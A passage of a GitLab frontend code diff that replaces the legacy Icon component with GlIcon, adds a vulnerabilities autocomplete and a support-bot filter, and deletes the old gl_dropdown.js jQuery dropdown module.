+++ b/app/assets/javascripts/error_tracking/components/error_details.vue
@@ -11,10 +11,10 @@ import {
GlDeprecatedDropdown,
GlDeprecatedDropdownItem,
GlDeprecatedDropdownDivider,
+ GlIcon,
} from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { __, sprintf, n__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import Stacktrace from './stacktrace.vue';
import TrackEventDirective from '~/vue_shared/directives/track_event';
@@ -38,7 +38,7 @@ export default {
GlLink,
GlLoadingIcon,
TooltipOnTruncate,
- Icon,
+ GlIcon,
Stacktrace,
GlBadge,
GlAlert,
@@ -397,7 +397,7 @@ export default {
data-testid="external-url-link"
>
<span class="text-truncate">{{ error.externalUrl }}</span>
- <icon name="external-link" class="ml-1 flex-shrink-0" />
+ <gl-icon name="external-link" class="ml-1 flex-shrink-0" />
</gl-link>
</li>
<li v-if="error.firstReleaseVersion">
diff --git a/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue b/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
index c6825d7af45..a4938fe13ed 100644
--- a/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
+++ b/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
@@ -1,14 +1,14 @@
<script>
-import { GlTooltip, GlSprintf } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlTooltip, GlSprintf, GlIcon } from '@gitlab/ui';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
ClipboardButton,
FileIcon,
- Icon,
+ GlIcon,
GlSprintf,
},
directives: {
@@ -80,7 +80,7 @@ export default {
<div ref="header" class="file-title file-title-flex-parent">
<div class="file-header-content d-flex align-content-center">
<div v-if="hasCode" class="d-inline-block cursor-pointer" @click="toggle()">
- <icon :name="collapseIcon" :size="16" aria-hidden="true" class="gl-mr-2" />
+ <gl-icon :name="collapseIcon" :size="16" aria-hidden="true" class="gl-mr-2" />
</div>
<file-icon :file-name="filePath" :size="18" aria-hidden="true" css-classes="gl-mr-2" />
<strong
diff --git a/app/assets/javascripts/error_tracking/store/details/actions.js b/app/assets/javascripts/error_tracking/store/details/actions.js
index 28806b3915c..df5be5224a7 100644
--- a/app/assets/javascripts/error_tracking/store/details/actions.js
+++ b/app/assets/javascripts/error_tracking/store/details/actions.js
@@ -10,7 +10,6 @@ const stopPolling = poll => {
if (poll) poll.stop();
};
-// eslint-disable-next-line import/prefer-default-export
export function startPollingStacktrace({ commit }, endpoint) {
stackTracePoll = new Poll({
resource: service,
diff --git a/app/assets/javascripts/error_tracking/store/details/getters.js b/app/assets/javascripts/error_tracking/store/details/getters.js
index f2778fbb2c7..a3b31436c81 100644
--- a/app/assets/javascripts/error_tracking/store/details/getters.js
+++ b/app/assets/javascripts/error_tracking/store/details/getters.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const stacktrace = state =>
state.stacktraceData.stack_trace_entries
? state.stacktraceData.stack_trace_entries.reverse()
diff --git a/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue b/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue
index 0de67a8bcc7..f1fb1a44758 100644
--- a/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue
+++ b/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue
@@ -1,11 +1,10 @@
<script>
import { mapActions, mapState } from 'vuex';
-import { GlFormInput } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlFormInput, GlIcon } from '@gitlab/ui';
import LoadingButton from '~/vue_shared/components/loading_button.vue';
export default {
- components: { GlFormInput, Icon, LoadingButton },
+ components: { GlFormInput, GlIcon, LoadingButton },
computed: {
...mapState(['apiHost', 'connectError', 'connectSuccessful', 'isLoadingProjects', 'token']),
tokenInputState() {
@@ -64,7 +63,7 @@ export default {
:loading="isLoadingProjects"
@click="fetchProjects"
/>
- <icon
+ <gl-icon
v-show="connectSuccessful"
class="js-error-tracking-connect-success gl-ml-2 text-success align-middle"
:aria-label="__('Projects Successfully Retrieved')"
diff --git a/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js b/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js
index 9bea7aa7b04..d2ac80fa190 100644
--- a/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js
+++ b/app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js
@@ -86,6 +86,11 @@ export const conditions = flattenDeep(
value: __('Any'),
},
{
+ url: 'author_username=support-bot',
+ tokenKey: 'author',
+ value: 'support-bot',
+ },
+ {
url: 'milestone_title=None',
tokenKey: 'milestone',
value: __('None'),
diff --git a/app/assets/javascripts/flash.js b/app/assets/javascripts/flash.js
index 7697d97cb2c..f2dd8d5ace5 100644
--- a/app/assets/javascripts/flash.js
+++ b/app/assets/javascripts/flash.js
@@ -175,4 +175,4 @@ export {
removeFlashClickListener,
FLASH_TYPES,
};
-window.Flash = deprecatedCreateFlash;
+window.Flash = createFlash;
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
index c0dadedbc51..1203f389931 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
@@ -1,5 +1,5 @@
<script>
-/* eslint-disable vue/require-default-prop */
+/* eslint-disable vue/require-default-prop, vue/no-v-html */
import Identicon from '~/vue_shared/components/identicon.vue';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue b/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
index 40add09f25d..19cb09f0dcc 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
@@ -1,13 +1,13 @@
<script>
import { debounce } from 'lodash';
import { mapActions } from 'vuex';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import eventHub from '../event_hub';
import frequentItemsMixin from './frequent_items_mixin';
export default {
components: {
- Icon,
+ GlIcon,
},
mixins: [frequentItemsMixin],
data() {
@@ -49,6 +49,6 @@ export default {
type="search"
class="form-control"
/>
- <icon v-if="!searchQuery" name="search" class="search-icon" />
+ <gl-icon v-if="!searchQuery" name="search" class="search-icon" />
</div>
</template>
diff --git a/app/assets/javascripts/frequent_items/index.js b/app/assets/javascripts/frequent_items/index.js
index c074f173776..1998bf4358a 100644
--- a/app/assets/javascripts/frequent_items/index.js
+++ b/app/assets/javascripts/frequent_items/index.js
@@ -28,8 +28,8 @@ export default function initFrequentItemDropdowns() {
return;
}
- $(navEl).on('shown.bs.dropdown', () =>
- import('./components/app.vue').then(({ default: FrequentItems }) => {
+ import('./components/app.vue')
+ .then(({ default: FrequentItems }) => {
// eslint-disable-next-line no-new
new Vue({
el,
@@ -59,9 +59,11 @@ export default function initFrequentItemDropdowns() {
});
},
});
+ })
+ .catch(() => {});
- eventHub.$emit(`${namespace}-dropdownOpen`);
- }),
- );
+ $(navEl).on('shown.bs.dropdown', () => {
+ eventHub.$emit(`${namespace}-dropdownOpen`);
+ });
});
}
diff --git a/app/assets/javascripts/frequent_items/store/getters.js b/app/assets/javascripts/frequent_items/store/getters.js
index 73e66643f06..36cc9020d8d 100644
--- a/app/assets/javascripts/frequent_items/store/getters.js
+++ b/app/assets/javascripts/frequent_items/store/getters.js
@@ -1,2 +1 @@
-// eslint-disable-next-line import/prefer-default-export
export const hasSearchQuery = state => state.searchQuery !== '';
diff --git a/app/assets/javascripts/gfm_auto_complete.js b/app/assets/javascripts/gfm_auto_complete.js
index 36c586ddfd2..409733c73b9 100644
--- a/app/assets/javascripts/gfm_auto_complete.js
+++ b/app/assets/javascripts/gfm_auto_complete.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import '@gitlab/at.js';
+import '~/lib/utils/jquery_at_who';
import { escape, template } from 'lodash';
import SidebarMediator from '~/sidebar/sidebar_mediator';
import glRegexp from './lib/utils/regexp';
@@ -52,6 +52,7 @@ export const defaultAutocompleteConfig = {
milestones: true,
labels: true,
snippets: true,
+ vulnerabilities: true,
};
class GfmAutoComplete {
@@ -71,12 +72,15 @@ class GfmAutoComplete {
setupLifecycle() {
this.input.each((i, input) => {
const $input = $(input);
- $input.off('focus.setupAtWho').on('focus.setupAtWho', this.setupAtWho.bind(this, $input));
- $input.on('change.atwho', () => input.dispatchEvent(new Event('input')));
- // This triggers at.js again
- // Needed for quick actions with suffixes (ex: /label ~)
- $input.on('inserted-commands.atwho', $input.trigger.bind($input, 'keyup'));
- $input.on('clear-commands-cache.atwho', () => this.clearCache());
+ if (!$input.hasClass('js-gfm-input-initialized')) {
+ $input.off('focus.setupAtWho').on('focus.setupAtWho', this.setupAtWho.bind(this, $input));
+ $input.on('change.atwho', () => input.dispatchEvent(new Event('input')));
+ // This triggers at.js again
+ // Needed for quick actions with suffixes (ex: /label ~)
+ $input.on('inserted-commands.atwho', $input.trigger.bind($input, 'keyup'));
+ $input.on('clear-commands-cache.atwho', () => this.clearCache());
+ $input.addClass('js-gfm-input-initialized');
+ }
});
}
@@ -644,7 +648,8 @@ class GfmAutoComplete {
// https://github.com/ichord/At.js
const atSymbolsWithBar = Object.keys(controllers)
.join('|')
- .replace(/[$]/, '\\$&');
+ .replace(/[$]/, '\\$&')
+ .replace(/[+]/, '\\+');
const atSymbolsWithoutBar = Object.keys(controllers).join('');
const targetSubtext = subtext.split(GfmAutoComplete.regexSubtext).pop();
const resultantFlag = flag.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
@@ -675,6 +680,7 @@ GfmAutoComplete.atTypeMap = {
'~': 'labels',
'%': 'milestones',
'/': 'commands',
+ '+': 'vulnerabilities',
$: 'snippets',
};
diff --git a/app/assets/javascripts/gl_dropdown.js b/app/assets/javascripts/gl_dropdown.js
deleted file mode 100644
index ec0d0cf6aef..00000000000
--- a/app/assets/javascripts/gl_dropdown.js
+++ /dev/null
@@ -1,901 +0,0 @@
-/* eslint-disable max-classes-per-file, one-var, consistent-return */
-
-import $ from 'jquery';
-import { escape } from 'lodash';
-import fuzzaldrinPlus from 'fuzzaldrin-plus';
-import axios from './lib/utils/axios_utils';
-import { visitUrl } from '~/lib/utils/url_utility';
-import { isObject } from './lib/utils/type_utility';
-import renderItem from './gl_dropdown/render';
-
-const BLUR_KEYCODES = [27, 40];
-
-const HAS_VALUE_CLASS = 'has-value';
-
-const LOADING_CLASS = 'is-loading';
-
-const PAGE_TWO_CLASS = 'is-page-two';
-
-const ACTIVE_CLASS = 'is-active';
-
-const INDETERMINATE_CLASS = 'is-indeterminate';
-
-let currentIndex = -1;
-
-const NON_SELECTABLE_CLASSES = '.divider, .separator, .dropdown-header, .dropdown-menu-empty-item';
-
-const SELECTABLE_CLASSES = `.dropdown-content li:not(${NON_SELECTABLE_CLASSES}, .option-hidden)`;
-
-const CURSOR_SELECT_SCROLL_PADDING = 5;
-
-const FILTER_INPUT = '.dropdown-input .dropdown-input-field:not(.dropdown-no-filter)';
-
-const NO_FILTER_INPUT = '.dropdown-input .dropdown-input-field.dropdown-no-filter';
-
-class GitLabDropdownInput {
- constructor(input, options) {
- this.input = input;
- this.options = options;
- this.fieldName = this.options.fieldName || 'field-name';
- const $inputContainer = this.input.parent();
- const $clearButton = $inputContainer.find('.js-dropdown-input-clear');
- $clearButton.on('click', e => {
- // Clear click
- e.preventDefault();
- e.stopPropagation();
- return this.input
- .val('')
- .trigger('input')
- .focus();
- });
-
- this.input
- .on('keydown', e => {
- const keyCode = e.which;
- if (keyCode === 13 && !options.elIsInput) {
- e.preventDefault();
- }
- })
- .on('input', e => {
- let val = e.currentTarget.value || this.options.inputFieldName;
- val = val
- .split(' ')
- .join('-') // replaces space with dash
- .replace(/[^a-zA-Z0-9 -]/g, '')
- .toLowerCase() // replace non alphanumeric
- .replace(/(-)\1+/g, '-'); // replace repeated dashes
- this.cb(this.options.fieldName, val, {}, true);
- this.input
- .closest('.dropdown')
- .find('.dropdown-toggle-text')
- .text(val);
- });
- }
-
- onInput(cb) {
- this.cb = cb;
- }
-}
-
-class GitLabDropdownFilter {
- constructor(input, options) {
- let ref, timeout;
- this.input = input;
- this.options = options;
- // eslint-disable-next-line no-cond-assign
- this.filterInputBlur = (ref = this.options.filterInputBlur) != null ? ref : true;
- const $inputContainer = this.input.parent();
- const $clearButton = $inputContainer.find('.js-dropdown-input-clear');
- $clearButton.on('click', e => {
- // Clear click
- e.preventDefault();
- e.stopPropagation();
- return this.input
- .val('')
- .trigger('input')
- .focus();
- });
- // Key events
- timeout = '';
- this.input
- .on('keydown', e => {
- const keyCode = e.which;
- if (keyCode === 13 && !options.elIsInput) {
- e.preventDefault();
- }
- })
- .on('input', () => {
- if (this.input.val() !== '' && !$inputContainer.hasClass(HAS_VALUE_CLASS)) {
- $inputContainer.addClass(HAS_VALUE_CLASS);
- } else if (this.input.val() === '' && $inputContainer.hasClass(HAS_VALUE_CLASS)) {
- $inputContainer.removeClass(HAS_VALUE_CLASS);
- }
- // Only filter asynchronously only if option remote is set
- if (this.options.remote) {
- clearTimeout(timeout);
- // eslint-disable-next-line no-return-assign
- return (timeout = setTimeout(() => {
- $inputContainer.parent().addClass('is-loading');
-
- return this.options.query(this.input.val(), data => {
- $inputContainer.parent().removeClass('is-loading');
- return this.options.callback(data);
- });
- }, 250));
- }
- return this.filter(this.input.val());
- });
- }
-
- static shouldBlur(keyCode) {
- return BLUR_KEYCODES.indexOf(keyCode) !== -1;
- }
-
- filter(searchText) {
- let group, results, tmp;
- if (this.options.onFilter) {
- this.options.onFilter(searchText);
- }
- const data = this.options.data();
- if (data != null && !this.options.filterByText) {
- results = data;
- if (searchText !== '') {
- // When data is an array of objects therefore [object Array] e.g.
- // [
- // { prop: 'foo' },
- // { prop: 'baz' }
- // ]
- if (Array.isArray(data)) {
- results = fuzzaldrinPlus.filter(data, searchText, {
- key: this.options.keys,
- });
- }
- // If data is grouped therefore an [object Object]. e.g.
- // {
- // groupName1: [
- // { prop: 'foo' },
- // { prop: 'baz' }
- // ],
- // groupName2: [
- // { prop: 'abc' },
- // { prop: 'def' }
- // ]
- // }
- else if (isObject(data)) {
- results = {};
- Object.keys(data).forEach(key => {
- group = data[key];
- tmp = fuzzaldrinPlus.filter(group, searchText, {
- key: this.options.keys,
- });
- if (tmp.length) {
- results[key] = tmp.map(item => item);
- }
- });
- }
- }
- return this.options.callback(results);
- }
- const elements = this.options.elements();
- if (searchText) {
- // eslint-disable-next-line func-names
- elements.each(function() {
- const $el = $(this);
- const matches = fuzzaldrinPlus.match($el.text().trim(), searchText);
- if (!$el.is('.dropdown-header')) {
- if (matches.length) {
- return $el.show().removeClass('option-hidden');
- }
- return $el.hide().addClass('option-hidden');
- }
- });
- } else {
- elements.show().removeClass('option-hidden');
- }
-
- elements
- .parent()
- .find('.dropdown-menu-empty-item')
- .toggleClass('hidden', elements.is(':visible'));
- }
-}
-
-class GitLabDropdownRemote {
- constructor(dataEndpoint, options) {
- this.dataEndpoint = dataEndpoint;
- this.options = options;
- }
-
- execute() {
- if (typeof this.dataEndpoint === 'string') {
- return this.fetchData();
- } else if (typeof this.dataEndpoint === 'function') {
- if (this.options.beforeSend) {
- this.options.beforeSend();
- }
- return this.dataEndpoint('', data => {
- // Fetch the data by calling the data function
- if (this.options.success) {
- this.options.success(data);
- }
- if (this.options.beforeSend) {
- return this.options.beforeSend();
- }
- });
- }
- }
-
- fetchData() {
- if (this.options.beforeSend) {
- this.options.beforeSend();
- }
-
- // Fetch the data through ajax if the data is a string
- return axios.get(this.dataEndpoint).then(({ data }) => {
- if (this.options.success) {
- return this.options.success(data);
- }
- });
- }
-}
-
-class GitLabDropdown {
- constructor(el1, options) {
- let selector, self;
- this.el = el1;
- this.options = options;
- this.updateLabel = this.updateLabel.bind(this);
- this.hidden = this.hidden.bind(this);
- this.opened = this.opened.bind(this);
- this.shouldPropagate = this.shouldPropagate.bind(this);
- self = this;
- selector = $(this.el).data('target');
- this.dropdown = selector != null ? $(selector) : $(this.el).parent();
- // Set Defaults
- this.filterInput = this.options.filterInput || this.getElement(FILTER_INPUT);
- this.noFilterInput = this.options.noFilterInput || this.getElement(NO_FILTER_INPUT);
- this.highlight = Boolean(this.options.highlight);
- this.icon = Boolean(this.options.icon);
- this.filterInputBlur =
- this.options.filterInputBlur != null ? this.options.filterInputBlur : true;
- // If no input is passed create a default one
- self = this;
- // If selector was passed
- if (typeof this.filterInput === 'string') {
- this.filterInput = this.getElement(this.filterInput);
- }
- const searchFields = this.options.search ? this.options.search.fields : [];
- if (this.options.data) {
- // If we provided data
- // data could be an array of objects or a group of arrays
- if (typeof this.options.data === 'object' && !(this.options.data instanceof Function)) {
- this.fullData = this.options.data;
- currentIndex = -1;
- this.parseData(this.options.data);
- this.focusTextInput();
- } else {
- this.remote = new GitLabDropdownRemote(this.options.data, {
- dataType: this.options.dataType,
- beforeSend: this.toggleLoading.bind(this),
- success: data => {
- this.fullData = data;
- this.parseData(this.fullData);
- this.focusTextInput();
-
- // Update dropdown position since remote data may have changed dropdown size
- this.dropdown.find('.dropdown-menu-toggle').dropdown('update');
-
- if (
- this.options.filterable &&
- this.filter &&
- this.filter.input &&
- this.filter.input.val() &&
- this.filter.input.val().trim() !== ''
- ) {
- return this.filter.input.trigger('input');
- }
- },
- instance: this,
- });
- }
- }
- if (this.noFilterInput.length) {
- this.plainInput = new GitLabDropdownInput(this.noFilterInput, this.options);
- this.plainInput.onInput(this.addInput.bind(this));
- }
- // Init filterable
- if (this.options.filterable) {
- this.filter = new GitLabDropdownFilter(this.filterInput, {
- elIsInput: $(this.el).is('input'),
- filterInputBlur: this.filterInputBlur,
- filterByText: this.options.filterByText,
- onFilter: this.options.onFilter,
- remote: this.options.filterRemote,
- query: this.options.data,
- keys: searchFields,
- instance: this,
- elements: () => {
- selector = `.dropdown-content li:not(${NON_SELECTABLE_CLASSES})`;
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- selector = `.dropdown-page-one ${selector}`;
- }
- return $(selector, this.dropdown);
- },
- data: () => this.fullData,
- callback: data => {
- this.parseData(data);
- if (this.filterInput.val() !== '') {
- selector = SELECTABLE_CLASSES;
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- selector = `.dropdown-page-one ${selector}`;
- }
- if ($(this.el).is('input')) {
- currentIndex = -1;
- } else {
- $(selector, this.dropdown)
- .first()
- .find('a')
- .addClass('is-focused');
- currentIndex = 0;
- }
- }
- },
- });
- }
- // Event listeners
- this.dropdown.on('shown.bs.dropdown', this.opened);
- this.dropdown.on('hidden.bs.dropdown', this.hidden);
- $(this.el).on('update.label', this.updateLabel);
- this.dropdown.on('click', '.dropdown-menu, .dropdown-menu-close', this.shouldPropagate);
- this.dropdown.on('keyup', e => {
- // Escape key
- if (e.which === 27) {
- return $('.dropdown-menu-close', this.dropdown).trigger('click');
- }
- });
- this.dropdown.on('blur', 'a', e => {
- let $dropdownMenu, $relatedTarget;
- if (e.relatedTarget != null) {
- $relatedTarget = $(e.relatedTarget);
- $dropdownMenu = $relatedTarget.closest('.dropdown-menu');
- if ($dropdownMenu.length === 0) {
- return this.dropdown.removeClass('show');
- }
- }
- });
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- this.dropdown.find('.dropdown-toggle-page, .dropdown-menu-back').on('click', e => {
- e.preventDefault();
- e.stopPropagation();
- return this.togglePage();
- });
- }
- if (this.options.selectable) {
- selector = '.dropdown-content a';
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- selector = '.dropdown-page-one .dropdown-content a';
- }
- this.dropdown.on('click', selector, e => {
- const $el = $(e.currentTarget);
- const selected = self.rowClicked($el);
- const selectedObj = selected ? selected[0] : null;
- const isMarking = selected ? selected[1] : null;
- if (this.options.clicked) {
- this.options.clicked.call(this, {
- selectedObj,
- $el,
- e,
- isMarking,
- });
- }
-
- // Update label right after all modifications in dropdown has been done
- if (this.options.toggleLabel) {
- this.updateLabel(selectedObj, $el, this);
- }
-
- $el.trigger('blur');
- });
- }
- }
-
- // Finds an element inside wrapper element
- getElement(selector) {
- return this.dropdown.find(selector);
- }
-
- toggleLoading() {
- return $('.dropdown-menu', this.dropdown).toggleClass(LOADING_CLASS);
- }
-
- togglePage() {
- const menu = $('.dropdown-menu', this.dropdown);
- if (menu.hasClass(PAGE_TWO_CLASS)) {
- if (this.remote) {
- this.remote.execute();
- }
- }
- menu.toggleClass(PAGE_TWO_CLASS);
- // Focus first visible input on active page
- return this.dropdown.find('[class^="dropdown-page-"]:visible :text:visible:first').focus();
- }
-
- parseData(data) {
- let groupData, html;
- this.renderedData = data;
- if (this.options.filterable && data.length === 0) {
- // render no matching results
- html = [this.noResults()];
- }
- // Handle array groups
- else if (isObject(data)) {
- html = [];
-
- Object.keys(data).forEach(name => {
- groupData = data[name];
- html.push(
- this.renderItem(
- {
- content: name,
- type: 'header',
- },
- name,
- ),
- );
- this.renderData(groupData, name).map(item => html.push(item));
- });
- } else {
- // Render each row
- html = this.renderData(data);
- }
- // Render the full menu
- const fullHtml = this.renderMenu(html);
- return this.appendMenu(fullHtml);
- }
-
- renderData(data, group) {
- return data.map((obj, index) => this.renderItem(obj, group || false, index));
- }
-
- shouldPropagate(e) {
- let $target;
- if (this.options.multiSelect || this.options.shouldPropagate === false) {
- $target = $(e.target);
- if (
- $target &&
- !$target.hasClass('dropdown-menu-close') &&
- !$target.hasClass('dropdown-menu-close-icon') &&
- !$target.data('isLink')
- ) {
- e.stopPropagation();
-
- // This prevents automatic scrolling to the top
- if ($target.closest('a').length) {
- return false;
- }
- }
-
- return true;
- }
- }
-
- filteredFullData() {
- return this.fullData.filter(
- r =>
- typeof r === 'object' &&
- !Object.prototype.hasOwnProperty.call(r, 'beforeDivider') &&
- !Object.prototype.hasOwnProperty.call(r, 'header'),
- );
- }
-
- opened(e) {
- this.resetRows();
- this.addArrowKeyEvent();
-
- const dropdownToggle = this.dropdown.find('.dropdown-menu-toggle');
- const hasFilterBulkUpdate = dropdownToggle.hasClass('js-filter-bulk-update');
- const shouldRefreshOnOpen = dropdownToggle.hasClass('js-gl-dropdown-refresh-on-open');
- const hasMultiSelect = dropdownToggle.hasClass('js-multiselect');
-
- // Makes indeterminate items effective
- if (this.fullData && (shouldRefreshOnOpen || hasFilterBulkUpdate)) {
- this.parseData(this.fullData);
- }
-
- // Process the data to make sure rendered data
- // matches the correct layout
- const inputValue = this.filterInput.val();
- if (this.fullData && hasMultiSelect && this.options.processData && inputValue.length === 0) {
- this.options.processData.call(
- this.options,
- inputValue,
- this.filteredFullData(),
- this.parseData.bind(this),
- );
- }
-
- const contentHtml = $('.dropdown-content', this.dropdown).html();
- if (this.remote && contentHtml === '') {
- this.remote.execute();
- } else {
- this.focusTextInput();
- }
-
- if (this.options.showMenuAbove) {
- this.positionMenuAbove();
- }
-
- if (this.options.opened) {
- if (this.options.preserveContext) {
- this.options.opened(e);
- } else {
- this.options.opened.call(this, e);
- }
- }
-
- return this.dropdown.trigger('shown.gl.dropdown');
- }
-
- positionMenuAbove() {
- const $menu = this.dropdown.find('.dropdown-menu');
-
- $menu.addClass('dropdown-open-top');
- $menu.css('top', 'initial');
- $menu.css('bottom', '100%');
- }
-
- hidden(e) {
- this.resetRows();
- this.removeArrowKeyEvent();
- const $input = this.dropdown.find('.dropdown-input-field');
- if (this.options.filterable) {
- $input.blur();
- }
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- $('.dropdown-menu', this.dropdown).removeClass(PAGE_TWO_CLASS);
- }
- if (this.options.hidden) {
- this.options.hidden.call(this, e);
- }
- return this.dropdown.trigger('hidden.gl.dropdown');
- }
-
- // Render the full menu
- renderMenu(html) {
- if (this.options.renderMenu) {
- return this.options.renderMenu(html);
- }
- return $('<ul>').append(html);
- }
-
- // Append the menu into the dropdown
- appendMenu(html) {
- return this.clearMenu().append(html);
- }
-
- clearMenu() {
- let selector = '.dropdown-content';
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- if (this.options.containerSelector) {
- selector = this.options.containerSelector;
- } else {
- selector = '.dropdown-page-one .dropdown-content';
- }
- }
-
- return $(selector, this.dropdown).empty();
- }
-
- renderItem(data, group, index) {
- let parent;
-
- if (this.dropdown && this.dropdown[0]) {
- parent = this.dropdown[0].parentNode;
- }
-
- return renderItem({
- instance: this,
- options: {
- ...this.options,
- icon: this.icon,
- highlight: this.highlight,
- highlightText: text => this.highlightTextMatches(text, this.filterInput.val()),
- highlightTemplate: this.highlightTemplate.bind(this),
- parent,
- },
- data,
- group,
- index,
- });
- }
-
- // eslint-disable-next-line class-methods-use-this
- highlightTemplate(text, template) {
- return `"<b>${escape(text)}</b>" ${template}`;
- }
-
- // eslint-disable-next-line class-methods-use-this
- highlightTextMatches(text, term) {
- const occurrences = fuzzaldrinPlus.match(text, term);
- const { indexOf } = [];
-
- return text
- .split('')
- .map((character, i) => {
- if (indexOf.call(occurrences, i) !== -1) {
- return `<b>${character}</b>`;
- }
- return character;
- })
- .join('');
- }
-
- // eslint-disable-next-line class-methods-use-this
- noResults() {
- return '<li class="dropdown-menu-empty-item"><a>No matching results</a></li>';
- }
-
- rowClicked(el) {
- let field, groupName, selectedIndex, selectedObject, isMarking;
- const { fieldName } = this.options;
- const isInput = $(this.el).is('input');
- if (this.renderedData) {
- groupName = el.data('group');
- if (groupName) {
- selectedIndex = el.data('index');
- selectedObject = this.renderedData[groupName][selectedIndex];
- } else {
- selectedIndex = el.closest('li').index();
- this.selectedIndex = selectedIndex;
- selectedObject = this.renderedData[selectedIndex];
- }
- }
-
- if (this.options.vue) {
- if (el.hasClass(ACTIVE_CLASS)) {
- el.removeClass(ACTIVE_CLASS);
- } else {
- el.addClass(ACTIVE_CLASS);
- }
-
- return [selectedObject];
- }
-
- field = [];
- const value = this.options.id ? this.options.id(selectedObject, el) : selectedObject.id;
- if (isInput) {
- field = $(this.el);
- } else if (value != null) {
- field = this.dropdown
- .parent()
- .find(`input[name='${fieldName}'][value='${value.toString().replace(/'/g, "\\'")}']`);
- }
-
- if (this.options.isSelectable && !this.options.isSelectable(selectedObject, el)) {
- return [selectedObject];
- }
-
- if (el.hasClass(ACTIVE_CLASS) && value !== 0) {
- isMarking = false;
- el.removeClass(ACTIVE_CLASS);
- if (field && field.length) {
- this.clearField(field, isInput);
- }
- } else if (el.hasClass(INDETERMINATE_CLASS)) {
- isMarking = true;
- el.addClass(ACTIVE_CLASS);
- el.removeClass(INDETERMINATE_CLASS);
- if (field && field.length && value == null) {
- this.clearField(field, isInput);
- }
- if ((!field || !field.length) && fieldName) {
- this.addInput(fieldName, value, selectedObject);
- }
- } else {
- isMarking = true;
- if (!this.options.multiSelect || el.hasClass('dropdown-clear-active')) {
- this.dropdown.find(`.${ACTIVE_CLASS}`).removeClass(ACTIVE_CLASS);
- if (!isInput) {
- this.dropdown
- .parent()
- .find(`input[name='${fieldName}']`)
- .remove();
- }
- }
- if (field && field.length && value == null) {
- this.clearField(field, isInput);
- }
- // Toggle active class for the tick mark
- el.addClass(ACTIVE_CLASS);
- if (value != null) {
- if ((!field || !field.length) && fieldName) {
- this.addInput(fieldName, value, selectedObject);
- } else if (field && field.length) {
- field.val(value).trigger('change');
- }
- }
- }
-
- return [selectedObject, isMarking];
- }
-
- focusTextInput() {
- if (this.options.filterable) {
- const initialScrollTop = $(window).scrollTop();
-
- if (this.dropdown.is('.show') && !this.filterInput.is(':focus')) {
- this.filterInput.focus();
- }
-
- if ($(window).scrollTop() < initialScrollTop) {
- $(window).scrollTop(initialScrollTop);
- }
- }
- }
-
- addInput(fieldName, value, selectedObject, single) {
- // Create hidden input for form
- if (single) {
- $(`input[name="${fieldName}"]`).remove();
- }
-
- const $input = $('<input>')
- .attr('type', 'hidden')
- .attr('name', fieldName)
- .val(value);
- if (this.options.inputId != null) {
- $input.attr('id', this.options.inputId);
- }
-
- if (this.options.multiSelect) {
- Object.keys(selectedObject).forEach(attribute => {
- $input.attr(`data-${attribute}`, selectedObject[attribute]);
- });
- }
-
- if (this.options.inputMeta) {
- $input.attr('data-meta', selectedObject[this.options.inputMeta]);
- }
-
- this.dropdown.before($input).trigger('change');
- }
-
- selectRowAtIndex(index) {
- // If we pass an option index
- let selector;
- if (typeof index !== 'undefined') {
- selector = `${SELECTABLE_CLASSES}:eq(${index}) a`;
- } else {
- selector = '.dropdown-content .is-focused';
- }
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- selector = `.dropdown-page-one ${selector}`;
- }
- // simulate a click on the first link
- const $el = $(selector, this.dropdown);
- if ($el.length) {
- const href = $el.attr('href');
- if (href && href !== '#') {
- visitUrl(href);
- } else {
- $el.trigger('click');
- }
- }
- }
-
- addArrowKeyEvent() {
- const ARROW_KEY_CODES = [38, 40];
- let selector = SELECTABLE_CLASSES;
- if (this.dropdown.find('.dropdown-toggle-page').length) {
- selector = `.dropdown-page-one ${selector}`;
- }
- return $('body').on('keydown', e => {
- let $listItems, PREV_INDEX;
- const currentKeyCode = e.which;
- if (ARROW_KEY_CODES.indexOf(currentKeyCode) !== -1) {
- e.preventDefault();
- e.stopImmediatePropagation();
- PREV_INDEX = currentIndex;
- $listItems = $(selector, this.dropdown);
- // if @options.filterable
- // $input.blur()
- if (currentKeyCode === 40) {
- // Move down
- if (currentIndex < $listItems.length - 1) {
- currentIndex += 1;
- }
